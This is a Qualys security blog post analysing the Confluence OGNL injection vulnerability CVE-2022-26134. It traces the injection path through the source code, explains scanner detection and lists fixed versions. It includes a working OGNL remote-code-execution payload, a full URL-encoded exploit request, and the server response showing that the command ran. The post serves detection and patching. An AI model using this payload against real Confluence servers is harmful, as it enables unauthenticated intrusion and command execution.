Atlassian Confluence OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134)
Last updated on: December 23, 2022
On June 02, 2022, Atlassian published a security advisory about a critical severity Unauthenticated Remote Code Execution vulnerability affecting Confluence Server and Data Center. According to the advisory, the vulnerability is being actively exploited and Confluence Server and Data Center versions after 1.3.0 are affected. The vulnerability is tracked as CVE-2022-26134 with 9.8 CVSSv3 score with multiple proof of concept exploits released by security researchers on GitHub.
Qualys Web Application Scanning released QID 150523 on June 08, 2022, to detect CVE-2022-26134, the detection sends HTTP GET request with a specially crafted OGNL payload to determine the vulnerability on the target Confluence application. The OGNL payload creates a custom HTTP response header containing the output of the system command executed on Linux and Windows systems. The detection also consists of a Qualys customized OGNL payload which is platform-independent, eliminating false positives and works irrespective of the host operating system by creating a custom HTTP response header with Qualys specified value.
About CVE-2022-26134
CVE-2022-26134 is an unauthenticated OGNL Injection remote code execution vulnerability affecting Confluence Server and Data Center versions after 1.3.0. In order to exploit a vulnerable server, a remote attacker can send a malicious HTTP GET request with an OGNL payload in the URI. The vulnerable server once exploited it would allow the attacker to execute commands remotely with user privileges running the Confluence application. The vulnerability is fixed in Confluence versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
OGNL Injection
Object-Graph Navigation Language (OGNL) is an open-source Expression Language (EL) used for getting and setting the properties of Java objects. An OGNL Injection occurs when there is insufficient validation of user-supplied data, and the EL interpreter attempts to interpret it enabling attackers to inject their own EL code.
In the case of CVE-2022-26134, the RCE attack is not complex in nature. The attack can be executed by simply sending the OGNL payload in the request URI. The payload can be crafted to add a custom HTTP response header that prints the output of successfully executed remote commands.
RCE Payload
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}
Breaking the above payload, variable a
is assigned the value of an expression which calls various static methods using syntax @class@method(args)
, where java.lang.Runtime
class calls exec
method which executes id
command and the output is stored in the variable a
.
Next, from package com.opensymphony.xwork2
class ServletActionContext
is called which uses getResponse
and setHeader
method to fetch response of id
system command in X-Qualys-Response
custom header.
Exploit POC
REQUEST
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/ HTTP/1.1 Host: 127.0.0.1:8090 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
RESPONSE
HTTP/1.1 302 Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Confluence-Request-Time: 1655819234897 Set-Cookie: JSESSIONID=7AE586C9E49E2301BA33E5A1552D8C6F; Path=/; HttpOnly X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-Qualys-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Tue, 21 Jun 2022 13:47:14 GMT Connection: close
Once the exploit is triggered it can be seen X-Qualys-Response
HTTP response header contains the output of the id
system command resulting in successful exploitation of this remote code execution vulnerability.
Exploit Analysis
While analyzing the above RCE request, the Qualys WAS research team came across the Catalina log file in Confluence Server stored at /opt/atlassian/confluence/logs/catalina.YYYY-MM-DD.log
which had multiple entries of web requests sent, along with output from stdout
and stderr
. Following is the snippet from the log file printing stack trace for the RCE request:
07-Jun-2022 10:37:00.565 WARNING [Catalina-utility-4] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread [http-nio-8090-exec-17] (id=[347]) has been active for [75,417] milliseconds (since [6/7/22 10:35 AM]) to serve the same request for [http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/] and may be stuck (configured threshold for this StuckThreadDetectionValve is [60] seconds). There is/are [1] thread(s) in total that are monitored by this Valve and may be stuck. java.lang.Throwable at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1247) at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1215) at ognl.OgnlParser.primaryExpression(OgnlParser.java:1494) at ognl.OgnlParser.navigationChain(OgnlParser.java:1245) [..SNIP..] at ognl.Ognl.parseExpression(Ognl.java:113) at com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196) at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187) at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61) at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51) at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115) at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56) at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199) at javax.servlet.http.HttpServlet.service(HttpServlet.java:764) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) [..SNIP..] at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base@11.0.15/java.lang.Thread.run(Thread.java:829)
Analyzing the stack, com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
appears to be the source where the injection occurs. The execution flows up to com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)
where execute
method calls translateVariables
method from TextParseUtil
class com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)
which appears to be sink where the OGNL expression evaluation takes place invoking findValue
method from OgnlValueStack
class com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)
and goes forward parsing the OGNL expression with com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196)
and multiple other classes.
Source Code Analysis
To have a better understanding of the execution flow of this RCE vulnerability, it’s important that we dive into the source code of these classes:
Starting off with ServletDispatcher
class:
public static String getNamespaceFromServletPath(String servletPath) { servletPath = servletPath.substring(0, servletPath.lastIndexOf("/")); return servletPath; }
ServletDispatcher
The getNamespaceFromServletPath
is used to obtain the namespace to which an Action belongs.
For example : When a malicious request http://127.0.0.1:8090/<RCE payload>/
is fired, the line servletPath.substring(0, servletPath.lastIndexOf("/"));
will consider everything before the last trailing slash as a namespace. Hence namespace <RCE payload>
is created from the malicious requested URI.
As a result, the last trailing slash is an essential component for the exploit to work, if omitted the payload won’t work.
This namespace is further utilized by execute
method using this.namespace
expression inside ActionChainResult
:
public void execute(final ActionInvocation invocation) throws Exception { if (this.namespace == null) { this.namespace = invocation.getProxy().getNamespace(); } final OgnlValueStack stack = ActionContext.getContext().getValueStack(); final String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack); final String finalActionName = TextParseUtil.translateVariables(this.actionName, stack); if (this.isInChainHistory(finalNamespace, finalActionName)) { throw new XworkException("infinite recursion detected"); }
ActionChainResult
Here, translateVariables
method from TextParseUtil
class is called on this.namespace
expression which converts all instances of ${...}
in expression to the value returned by a call to OgnlValueStack.findValue
.
Going forward with TextParseUtil
class code:
package com.opensymphony.xwork.util; import java.util.regex.Matcher; import java.util.regex.Pattern; public class TextParseUtil { public static String translateVariables(final String expression, final OgnlValueStack stack) { final StringBuilder sb = new StringBuilder(); final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}"); final Matcher m = p.matcher(expression); int previous = 0; while (m.find()) { final String g = m.group(1); final int start = m.start(); String value; try { final Object o = stack.findValue(g); value = ((o == null) ? "" : o.toString()); } catch (Exception ignored) { value = ""; } sb.append(expression.substring(previous, start)).append(value); previous = m.end(); } if (previous < expression.length()) { sb.append(expression.substring(previous)); } return sb.toString(); } }
TextParseUtil
translateVariables
method here takes two parameters expression
which is basically a string which hasn’t been translated and secondly a value stack
which allows dynamic OGNL expressions to be evaluated against it.
Inside final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
class Pattern
defines a pattern to be searched and then it’s created using Pattern.compile()
method.
In Java \
single backslash is an escape character for strings. Hence \\
double backslash are used in above regex \\$\\{([^}]*)\\}
to escape $, {, } characters.
Next line final Matcher m = p.matcher(expression);
uses matcher() method to search for the pattern in a string, for example : ${qualys.rce.payload}
pattern is created.
Further contents of round brackets are extracts from the regular expression \\$\\{([^}]*)\\}
to match the expression using final String g = m.group(1);
and pass it to final Object o = stack.findValue(g);
And finally, findValue
finds the value by evaluating the given expression against the stack in the default search order.
As a result, when a remote attacker makes a malicious request URI http://127.0.0.1:8090/${rce_payload}/
, first ${rce_payload}
gets translated into a namespace and then using TextParseUtil.translateVariables
the payload is extracted and henceforth using findValue
the OGNL expression rce_payload
gets evaluated causing Remote Code Execution.
Detecting the Vulnerability with Qualys WAS
Customers can detect this vulnerability on the target Confluence application with Qualys Web Application Scanning using the following QID:
- 150523: Atlassian Confluence Server and Data Center OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134)
Qualys WAS Report
Once the vulnerability is successfully detected, users shall see the following results in the vulnerability scan report:
Solution
Due to the Critical severity and active exploitation of this vulnerability, organizations using the Confluence application are strongly advised to upgrade their Confluence application to version 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, 7.18.1 or later version to remediate CVE-2022-26134 vulnerability. More information regarding patching and workaround can be referred to Confluence Security Advisory.
Credits
Confluence Security Advisory: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
CVE Details:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
Credit for the vulnerability discovery goes to Volexity.
References:
Contributors
- Sheela Sarva, Director, Quality Engineering, Web Application Security, Qualys
- Rajesh Kumbhar, Senior Software Engineer, Qualys